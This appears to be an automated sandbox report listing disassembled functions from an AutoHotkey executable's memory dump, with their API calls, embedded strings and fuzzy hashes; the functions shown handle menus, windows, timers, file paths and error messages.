Instruction ID: a0d4fea40d04f298390c3b6366d4478668eaeb7cb91e1d43c9ed42f2878b4ebb
Opcode Fuzzy Hash: 6293f0b70115966cd890f029f067f341165aeb261ffacef0fc3cfd90e9beaf65
Instruction Fuzzy Hash: D45107716003059FCB21ABA48D80AAFB7F9EF04318F11067FE953A26D1DB79E915CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0043A716 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 152COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0043A830

Strings

Line, xrefs: 0043A7BE
Extra, xrefs: 0043A79A
The current thread will exit., xrefs: 0043A8AA, 0043A8B6
__Delete will now return., xrefs: 0043A8A3
File, xrefs: 0043A7E2
Message, xrefs: 0043A779

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcsicoll
String ID: Extra$File$Line$Message$The current thread will exit.$__Delete will now return.
API String ID: 3832890014-175628360
Opcode ID: 50d2c3bdaa089d4f3d6cddae98d8302b718adf4fe73319883dbae5867f643d73
Instruction ID: eaa58461f46acdebf79f04a6496b7663cd2e516db01c17dd502ae03936a8bde0
Opcode Fuzzy Hash: 50d2c3bdaa089d4f3d6cddae98d8302b718adf4fe73319883dbae5867f643d73
Instruction Fuzzy Hash: 9A51D1307842009FD718EB148841B6A73E0AB88758F09546EFAC4AB392D77DDD66C79F

Uniqueness

Uniqueness Score: -1.00%

Function 00477020 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 91windowCOMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 00477048
CreatePopupMenu.USER32 ref: 00477074
SetMenuDefaultItem.USER32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,00477448), ref: 004770B8
SetMenuInfo.USER32 ref: 004770FE
SetMenuInfo.USER32 ref: 00477121
CreateMenu.USER32 ref: 00477137

Strings

tray, xrefs: 00477042

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Menu$CreateInfo$DefaultItemPopup__wcsicoll
String ID: tray
API String ID: 3246407819-3344156567
Opcode ID: 8b47f5f2684e0ee5814e0879d7ca6895583ab5354028b432afb37b8cdcf1da0c
Instruction ID: 947ce2e608446726554db0e0f7efeb127ec8dadf31759c310087540cbe648b85
Opcode Fuzzy Hash: 8b47f5f2684e0ee5814e0879d7ca6895583ab5354028b432afb37b8cdcf1da0c
Instruction Fuzzy Hash: 84316C716087419FD720DF29C944B9BBBE5BF88704F548A1EE88D93750E778E8048B9A

Uniqueness

Uniqueness Score: -1.00%

Function 0049D5B8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0049D5C4

Part of subcall function 0049DF62: __getptd_noexit.LIBCMT ref: 0049DF65
Part of subcall function 0049DF62: __amsg_exit.LIBCMT ref: 0049DF72

__amsg_exit.LIBCMT ref: 0049D5E4
__lock.LIBCMT ref: 0049D5F4
InterlockedDecrement.KERNEL32(?), ref: 0049D611
_free.LIBCMT ref: 0049D624
InterlockedIncrement.KERNEL32(02D92CE0), ref: 0049D63C

Strings

`@M, xrefs: 0049D61B

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: `@M
API String ID: 3470314060-1333944346
Opcode ID: 573b3ed20a71bd5f659af121bbfd634c332faa6f251ed7d2f4ce13b26854a822
Instruction ID: 7e5a71eb571a4062cb2ac3217691c3a90a173eca235a37da356c3c3c2da90d2f
Opcode Fuzzy Hash: 573b3ed20a71bd5f659af121bbfd634c332faa6f251ed7d2f4ce13b26854a822
Instruction Fuzzy Hash: B301C432D01621ABCF11AF699806B5E7F60BF44725F11803BE406A7280DB3CAD81CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00468334 Relevance: 12.1, APIs: 8, Instructions: 81windowCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00468001
GetWindowLongW.USER32(?,000000F0), ref: 00468358
SendMessageW.USER32(00000000,0000130B,00000000,00000000), ref: 00468375
GetForegroundWindow.USER32 ref: 0046838C
GetFocus.USER32 ref: 00468397
EnableWindow.USER32(?,00000000), ref: 004683B5
GetFocus.USER32 ref: 004683BF
SetFocus.USER32(?), ref: 004683CD

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: FocusWindow$EnableForegroundLongMessageSend_free
String ID:
API String ID: 3052119755-0
Opcode ID: 02da4894517ef00b9a46d8e4a0c650a935d787487ef7698c3a92ea0f7426b96b
Instruction ID: 52e4c2df40dd0d5995f3717137ccf4beeee9f9f00966a9dbfd038161cd62d1b3
Opcode Fuzzy Hash: 02da4894517ef00b9a46d8e4a0c650a935d787487ef7698c3a92ea0f7426b96b
Instruction Fuzzy Hash: 6921F870A042049BDB109F74DC94B5F3BA0AB55720F18862FF8568B380EB79D941DB1F

Uniqueness

Uniqueness Score: -1.00%

Function 00462660 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 283COMMON

Download Yara Rule

Strings

Next, xrefs: 00462737
=, xrefs: 0046293A
=, xrefs: 004629A9

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID:
String ID: =$=$Next
API String ID: 0-1239710179
Opcode ID: dc9dd342dfc16d3f3eabcc8ac0d8b797d0f112ffa1d712f29ba8b74a49aaf177
Instruction ID: 866ada5e4e5a5a78902083bbf2e2a33570dab7e46549db43fcecda7eeee6e469
Opcode Fuzzy Hash: dc9dd342dfc16d3f3eabcc8ac0d8b797d0f112ffa1d712f29ba8b74a49aaf177
Instruction Fuzzy Hash: DDB1BEB1A08785AFC724DF54C981A5BB7E0BB85304F44492FF19987391E7B8D849CB4B

Uniqueness

Uniqueness Score: -1.00%

Function 004083FE Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 264COMMON

Download Yara Rule

APIs

__wcstoui64.LIBCMT ref: 00408469
__wcstoui64.LIBCMT ref: 00408479
__wcsicoll.LIBCMT ref: 004084E7

Strings

</response>, xrefs: 004086D1
<response command="source" success="0" transaction_id="%e"/>, xrefs: 0040872A
<response command="source" success="1" transaction_id="%e" encoding="base64">, xrefs: 0040856C

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcstoui64$__wcsicoll
String ID: </response>$<response command="source" success="0" transaction_id="%e"/>$<response command="source" success="1" transaction_id="%e" encoding="base64">
API String ID: 400967290-3891583944
Opcode ID: 3d59892804f93d2430410bdb32401bf7b2d59b9f9cfec3c486383cdca5ca5682
Instruction ID: 0e36fcbb1e22d9825cb84a5c7b15b6e39fb81a455be12b99d2f99ce50ef03238
Opcode Fuzzy Hash: 3d59892804f93d2430410bdb32401bf7b2d59b9f9cfec3c486383cdca5ca5682
Instruction Fuzzy Hash: 9191CF311083419BD720DF29CA81B5BB7E4AB94314F144A3EF5D4E72D2EB39D8058B6A

Uniqueness

Uniqueness Score: -1.00%

Function 0044C630 Relevance: 10.8, APIs: 7, Instructions: 253COMMON

Download Yara Rule

APIs

__wcstoi64.LIBCMT ref: 0044C66F

Part of subcall function 0049A060: wcstoxq.LIBCMT ref: 0049A081

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __wcstoi64wcstoxq
String ID:
API String ID: 2194140525-0
Opcode ID: a96fc1622a8cad5d22cff9e1e6456e46a53199aa9b42a8b1bcf950152149f4d9
Instruction ID: 50ece932841a029463a5d57d7f4fa014c0860c94bd5a9321900d5679743e54f0
Opcode Fuzzy Hash: a96fc1622a8cad5d22cff9e1e6456e46a53199aa9b42a8b1bcf950152149f4d9
Instruction Fuzzy Hash: 2BA1F1716093019BE360DF25DC81F5BB7E4BB84B14F184A2FF5949B2D0DB78A805CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00423550 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(0002044A,00000009,0000000A,00000000), ref: 00423684
KillTimer.USER32(0002044A,00000009), ref: 004236CD
__wcstoi64.LIBCMT ref: 00423751
__fassign.LIBCMT ref: 004237E1
GetTickCount.KERNEL32 ref: 00423805

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

Strings

Out of memory., xrefs: 004235F5

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Timer__fassign$CountKillTick__wcstoi64
String ID: Out of memory.
API String ID: 925375575-4087320997
Opcode ID: 17a019a68782e432456c5e20817b237dbaef85f5ffde172dd320f88de4622f9f
Instruction ID: 1b0ba90a2ca323a07b83d4e7e28bad831eab04f26b33dcde371b281977b79573
Opcode Fuzzy Hash: 17a019a68782e432456c5e20817b237dbaef85f5ffde172dd320f88de4622f9f
Instruction Fuzzy Hash: 518126F1B00360ABDF349F15A880727BBF4AF51705F58446FE4868A791E37C9A84C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0045E5B0 Relevance: 10.7, APIs: 7, Instructions: 205comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 0045E5CB
CoCreateInstance.OLE32(004AD820,00000000,00000001,004AD810,00000000), ref: 0045E5E4
__fassign.LIBCMT ref: 0045E656
GetKeyboardLayout.USER32(00000000), ref: 0045E6A0
__fassign.LIBCMT ref: 0045E6F1

Part of subcall function 0049A0CD: __fassign.LIBCMT ref: 0049A0C3

GetFullPathNameW.KERNEL32(?,00000104,?,00000000), ref: 0045E73E
CoUninitialize.OLE32 ref: 0045E78F

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign$CreateFullInitializeInstanceKeyboardLayoutNamePathUninitialize
String ID:
API String ID: 404581262-0
Opcode ID: b14142beedf871b8961df21b345b22b46e5239afd347ff8266b5eb3752589e01
Instruction ID: 5284303a1726f87cd4c98a1307fd75b87fe7ed5e41c5e86c3c7f21c300e6447d
Opcode Fuzzy Hash: b14142beedf871b8961df21b345b22b46e5239afd347ff8266b5eb3752589e01
Instruction Fuzzy Hash: 3D61EFB0204301AFD218EF64CC84FAB77A5AF99704F10485DF9449B2D2D7B9ED49C7AA

Uniqueness

Uniqueness Score: -1.00%

Function 0042B300 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 197COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(00000000), ref: 0042B40A
_wcschr.LIBCMT ref: 0042B425

Part of subcall function 0042B270: GetFileAttributesW.KERNEL32(0042B33F,00000000,?,00000000), ref: 0042B2A0

Part of subcall function 0044F7D0: SHGetFolderPathW.SHELL32(00000000,00000005,00000000,00000000,?), ref: 0044F7E2

Strings

\AutoHotkey\Lib\, xrefs: 0042B34E
\Lib\, xrefs: 0042B330, 0042B367
#Include %-0.*s#IncludeAgain %s, xrefs: 0042B4D3
.ahk, xrefs: 0042B3E6

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: AttributesFile$FolderPath_wcschr
String ID: #Include %-0.*s#IncludeAgain %s$.ahk$\AutoHotkey\Lib\$\Lib\
API String ID: 3341327518-2992999288
Opcode ID: 65168d809d77c541dccfd6a0f91f569833fc23373cbdcc7b4ac0846ede3acb22
Instruction ID: aca0cd2f48d07780b1f690afb8553c7a90bdd57ff97b266b6ccc015802d10e61
Opcode Fuzzy Hash: 65168d809d77c541dccfd6a0f91f569833fc23373cbdcc7b4ac0846ede3acb22
Instruction Fuzzy Hash: BF61D1317002159FD710DF28E881BAB73A4EF95318F40452FF9458B3A2EB78A955C7EA

Uniqueness

Uniqueness Score: -1.00%

Function 004037DC Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 195COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 00403848
GetTickCount.KERNEL32 ref: 00403919
_free.LIBCMT ref: 004039DB

Strings

call, xrefs: 0040396E
OnMessage, xrefs: 004038A1
6Dd, xrefs: 00403932

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CountTick_free_wcsncpy
String ID: 6Dd$OnMessage$call
API String ID: 2355968416-2965414497
Opcode ID: 94aa33ef4542e3fb1d5e745e578a54d34f45c8483eb8e71d96474b0f5380e880
Instruction ID: e06a679a2f8b3723799ba155fb6c03cc7529b83a70cecacdadb6cc47ba399112
Opcode Fuzzy Hash: 94aa33ef4542e3fb1d5e745e578a54d34f45c8483eb8e71d96474b0f5380e880
Instruction Fuzzy Hash: 3D718AB1605340CFC720DF29D88099BBBE9FB85305B18897FE4899B361D739E905CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004406D0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

APIs

Part of subcall function 0044DE50: GetForegroundWindow.USER32(?,?,00440955,?), ref: 0044DE7E
Part of subcall function 0044DE50: IsWindowVisible.USER32(00000000), ref: 0044DE99

__fassign.LIBCMT ref: 00440724

Part of subcall function 0049BF9D: wcstoxl.LIBCMT ref: 0049BFAD

__fassign.LIBCMT ref: 00440760
GetWindowRect.USER32(00000000,?), ref: 004407A6
GetWindowRect.USER32(00000000,?), ref: 004407D8
GetParent.USER32(00000000), ref: 00440803
ScreenToClient.USER32(00000000,80000000), ref: 00440813
MoveWindow.USER32(00000000,?,?,?,?,00000001,?,?,?,?,?,?,?,?,00433089), ref: 004408BA

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$Rect__fassign$ClientForegroundMoveParentScreenVisiblewcstoxl
String ID:
API String ID: 4198355719-0
Opcode ID: e589524636ec4758f63786f72f9a228125c27e4cbb4b0c95fd1acbcf600f3f9b
Instruction ID: 615de26f4d091cdac34427a22d3fd61f551544865516f3abe097c860466729f0
Opcode Fuzzy Hash: e589524636ec4758f63786f72f9a228125c27e4cbb4b0c95fd1acbcf600f3f9b
Instruction Fuzzy Hash: F251CD71A043019BE710EF249C81B5B77E4AB84750F14092EFA45AB391D77CEC95CBAB

Uniqueness

Uniqueness Score: -1.00%

Function 004176E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

GetCursorPos.USER32(004D8620), ref: 00417778
GetSystemMetrics.USER32(00000000), ref: 004177F0
GetSystemMetrics.USER32(00000001), ref: 004177F6
GetCursorPos.USER32(?), ref: 00417855

Strings

d, xrefs: 00417839

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: CursorMetricsSystem
String ID: d
API String ID: 3091566494-2564639436
Opcode ID: 0ab173258bfbc79ebe5f79f04c1e0a29e8bec6fbf91122351addc25f7814e17a
Instruction ID: dfb326f163c00021a23dabafdc4329bef19cbd18e99c5c13a5ba0fcf293a0a84
Opcode Fuzzy Hash: 0ab173258bfbc79ebe5f79f04c1e0a29e8bec6fbf91122351addc25f7814e17a
Instruction Fuzzy Hash: C0519E75B092028BD714DF18D881BAA77E1BB88714F14493EE886C7341DB39E989CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00471370 Relevance: 10.7, APIs: 7, Instructions: 155COMMON

Download Yara Rule

APIs

__wcstoui64.LIBCMT ref: 004713B7
GetDlgCtrlID.USER32(00000000), ref: 004713C2
GetParent.USER32(00000000), ref: 004713D1
GetDlgCtrlID.USER32(00000000), ref: 004713DE

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Ctrl$Parent__wcstoui64
String ID:
API String ID: 2645479964-0
Opcode ID: 6f5ffaa6941be87318af1f61cdec3181d4bc5529197e71192db96c64a764c201
Instruction ID: bb57b39d41510f8c91a2e896f5283da17579297f67e8f0a29fc8fbae80f25e4e
Opcode Fuzzy Hash: 6f5ffaa6941be87318af1f61cdec3181d4bc5529197e71192db96c64a764c201
Instruction Fuzzy Hash: 4541F1327002015BDB209E2CDC85BFF73A6EB81715F158437FA059B2A1DB39E85687AD

Uniqueness

Uniqueness Score: -1.00%

Function 00482840 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 137COMMON

Download Yara Rule

APIs

__fassign.LIBCMT ref: 00482877

Part of subcall function 0049BF9D: wcstoxl.LIBCMT ref: 0049BFAD

__fassign.LIBCMT ref: 00482897
_wcschr.LIBCMT ref: 004828AE
_wcschr.LIBCMT ref: 004828D2

Strings

.-+, xrefs: 004828A9, 004828CD
1.1.37.01, xrefs: 00482840, 00482848

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: __fassign_wcschr$wcstoxl
String ID: .-+$1.1.37.01
API String ID: 1230976502-4065018320
Opcode ID: ce88e834ff6540ac4c34ef827675916ab095229ad5d39cd337bc334b64f94041
Instruction ID: 8473a6dbccc63186dee87f0a8676d8d5553935e9c115bff7946f0a535ef4da0d
Opcode Fuzzy Hash: ce88e834ff6540ac4c34ef827675916ab095229ad5d39cd337bc334b64f94041
Instruction Fuzzy Hash: 4931A7F6B04215868F247A169AC123F73D4EB55761F240E6BF412C6290E7EC8DC5936B

Uniqueness

Uniqueness Score: -1.00%

Function 0046766E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 132COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0046772D

Part of subcall function 00474310: GetPropW.USER32(?,ahk_autosize), ref: 00474324
Part of subcall function 00474310: RemovePropW.USER32(?,ahk_autosize), ref: 0047433F
Part of subcall function 00474310: GetWindowRect.USER32(?,?), ref: 0047437E
Part of subcall function 00474310: GetWindowRect.USER32(?,?), ref: 004743BF
Part of subcall function 00474310: MapWindowPoints.USER32(00000000,00000013,?,00000002), ref: 00474400
Part of subcall function 00474310: GetWindowLongW.USER32(?,000000F0), ref: 0047441C

_free.LIBCMT ref: 0046785E

Strings

Parameter #3 invalid., xrefs: 00467708
Exact, xrefs: 00467727
Tab name doesn't exist yet., xrefs: 004677BD
Parameter #2 invalid., xrefs: 00467473

Memory Dump Source

Source File: 00000001.00000002.1664153034.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1664112042.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004AD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664273844.00000000004C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664381388.00000000004D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1664413515.00000000004DE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_AutoHotkey.jbxd

Similarity

API ID: Window$PropRect$LongPointsRemove__wcsicoll_free
String ID: Exact$Parameter #2 invalid.$Parameter #3 invalid.$Tab name doesn't exist yet.
API String ID: 1019984171-577477998
Opcode ID: 20326a5ba1ce4a8c80f9fdbb2dd063690e1a21785f64bc7c705d2543bd5d0961
Instruction ID: 0f5877889ab81f2fb16a6c53c855da9c5bfb7546a189e2cfcbc2c4ee9d3138a9
Opcode Fuzzy Hash: 20326a5ba1ce4a8c80f9fdbb2dd063690e1a21785f64bc7c705d2543bd5d0961
Instruction Fuzzy Hash: 5A419130A0D3408ACB209F6588407AE7BE5AB91358F18491FF9858B392E77CDD45C7AF

Uniqueness

Uniqueness Score: -1.00%

Function 004334D8 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 120COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 004335B9

Strings

Parameter #1 must not be blank in this case., xrefs: 0043356C
Delete, xrefs: 004335B3
